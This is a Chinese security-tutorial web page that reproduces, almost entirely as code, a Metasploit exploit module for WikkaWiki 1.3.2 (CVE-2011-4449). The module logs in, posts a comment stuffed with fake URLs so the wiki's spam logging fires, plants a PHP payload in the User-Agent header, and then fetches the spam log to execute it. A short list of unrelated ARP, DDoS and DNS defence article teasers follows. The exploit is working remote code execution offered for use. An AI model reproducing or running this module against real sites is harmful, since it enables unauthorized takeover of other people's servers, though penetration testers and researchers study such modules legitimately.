WikkaWiki 1.3.2 Spam Logging PHP注射的方法

所属分类: 网络安全 / 黑客教程 阅读数: 3983
收藏 0 赞 0 分享
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
'Description' => %q{
This module exploits a vulnerability found in WikkaWiki. When the spam logging
feature is enabled, it is possible to inject PHP code into the spam log file via the
UserAgent header , and then request it to execute our payload. There are at least
three different ways to trigger spam protection, this module does so by generating
10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
Please note that in order to use the injection, you must manually pick a page
first that allows you to add a comment, and then set it as 'PAGE'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Initial discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2011-4449'],
['OSVDB', '77391'],
['EDB', '18177'],
['URL', 'http:// www.jb51.net /trac/wikka/ticket/1098']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Arch' => ARCH_PHP,
'Platform' => ['php'],
'Targets' =>
[
['WikkaWiki 1.3.2 r1814', {}]
],
'Privileged' => false,
'DisclosureDate' => "Nov 30 2011",
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'WikkaWiki username']),
OptString.new('PASSWORD', [true, 'WikkaWiki password']),
OptString.new('PAGE', [true, 'Page to inject']),
OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
], self.class)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => "#{target_uri.path}wikka.php?wakka=HomePage"
})
if res and res.body =~ /Powered by WikkaWiki/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
#
# Get the cookie before we do any of that login/exploity stuff
#
def get_cookie
res = send_request_raw({
'method' => 'GET',
'uri' => "#{@base}wikka.php"
})
# Get the cookie in this format:
# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
if res and res.headers['Set-Cookie']
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
else
raise RuntimeError, "#{@peer} - No cookie found, will not continue"
end
cookie
end
#
# Do login, and then return the cookie that contains our credential
#
def login(cookie)
# Send a request to the login page so we can obtain some hidden values needed for login
uri = "#{@base}wikka.php?wakka=UserSettings"
res = send_request_raw({
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
})
# Extract the hidden fields
login = {}
if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
fields.each do |name, value|
login[name] = value
end
else
raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
end
# Add the rest of fields required for login
login['action'] = 'login'
login['name'] = datastore['USERNAME']
login['password'] = datastore['PASSWORD']
login['do_redirect'] = 'on'
login['submit'] = "Login"
login['confpassword'] = ''
login['email'] = ''
port = (rport.to_i == 80) ? "" : ":#{rport}"
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
'vars_post' => login
})
if res and res.headers['Set-Cookie'] =~ /user_name/
user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
cookie_cred = "#{cookie}; #{user}; #{pass}"
else
cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
end
return cookie_cred
end
#
# After login, we inject the PHP payload
#
def inject_exec(cookie)
# Get the necessary fields in order to post a comment
res = send_request_raw({
'method' => 'GET',
'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
'cookie' => cookie
})
fields = {}
if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
fields[n] = v
end
else
raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
end
# Generate enough URLs to trigger spam logging
urls = ''
10.times do |i|
urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
end
# Add more fields
fields['body'] = urls
fields['submit'] = 'Add'
# Inject payload
b64_payload = Rex::Text.encode_base64(payload.encoded)
port = (rport.to_i == 80) ? "" : ":#{rport}"
uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
post_data = ""
send_request_cgi({
'method' => 'POST',
'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
'cookie' => cookie,
'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
'vars_post' => fields,
'agent' => "<?php #{payload.encoded} ?>"
})
send_request_raw({
'method' => 'GET',
'uri' => "#{@base}spamlog.txt.php"
})
end
def exploit
@peer = "#{rhost}:#{rport}"
@base = target_uri.path
@base << '/' if @base[-1, 1] != '/'
print_status("#{@peer} - Getting cookie")
cookie = get_cookie
print_status("#{@peer} - Logging in")
cred = login(cookie)
print_status("#{@peer} - Triggering spam logging")
inject_exec(cred)
handler
end
end
=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
Open wikka.config.php, do:
'spam_logging' => '1'
=end
更多精彩内容其他人还在看

病毒、木马ARP攻击行为的原理分析及解决思路

带有ARP攻击行为的病毒,木马很是常见,主要有两种表现形式:频繁的出现地址冲突的现象以及 上网速度很慢甚至上不了网,这类问题如何解决呐?
收藏 0 赞 0 分享

ARP欺骗攻击原理另一种理解方法

本文子明特别用通俗的例子,说明ARP欺骗攻击的原理,使ARP欺骗攻击原理更加清楚的展现在你的面前。
收藏 0 赞 0 分享

七招教你抵御ARP欺骗攻击

本文介绍了七种简易方法助你抵御ARP欺骗攻击,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

全面剖析DDoS攻击 黑客常用攻击方式

纵观网络安全攻击的各种方式方法,其中DDoS类的攻击会给你的网络系统造成更大的危害。因此,了解DDoS,了解它的工作原理及防范措施,是一个计算机网络安全技术人员应必修的内容之一。
收藏 0 赞 0 分享

最简单的防止ARP欺骗的方法

局域网中的计算机容易遭受攻击的原因是使用动态的arp获取协议所以很不安全,当把arp协议设为静态的可以杜绝arp攻击的发生,需要了解的朋友可以参考一下
收藏 0 赞 0 分享

路由器防止ARP欺骗的设置步骤

ARP欺骗是一个比较常见的网络问题,它会盗取用户账号,还会导致网络的瘫痪。为此,很多路由器开发商都设置了路由器防止ARP欺骗的功能。下面小编说说路由器防止ARP欺骗的设置方法。
收藏 0 赞 0 分享

怎样隔离ARP攻击源 电脑受到ARP断网攻击应对策略

局域网如何隔离感染ARP病毒的电脑呢?当局域网电脑存在ARP病毒时,会导致其它电脑出现断网现象。对此比较好的解决方法就是将ARP攻击源给隔离掉。以下就是具体的实现方法。
收藏 0 赞 0 分享

如何从运营角度保障DNS安全

如何从不同层面综合运营,保证DNS服务安全高效的运行?DNSPod工程师认为,主要应该从状态监控、信息告警、事件处理、数据记录、综合运营数据分析这五个方面入手。
收藏 0 赞 0 分享

DNS欺骗的原理 DNS防御实战演练

DNS即Domain Name System的缩写,域名系统以分布式数据库的形式将域名和IP地址相互映射。DNS协议即域名解析协议,简单的说:DNS是用来解析域名的。
收藏 0 赞 0 分享

对付DDoS攻击的三大绝招

不知道身为网络管理员的你是否遇到过服务器因为拒绝服务攻击都瘫痪的情况呢?就网络安全而言目前最让人担心和害怕的入侵攻击就要算是拒绝服务攻击了。和传统的攻击不同,采取的是仿真多个客户端来连接服务器,造成服务器无法完成如此多的客户端连接,从而无法提供服务。
收藏 0 赞 0 分享
查看更多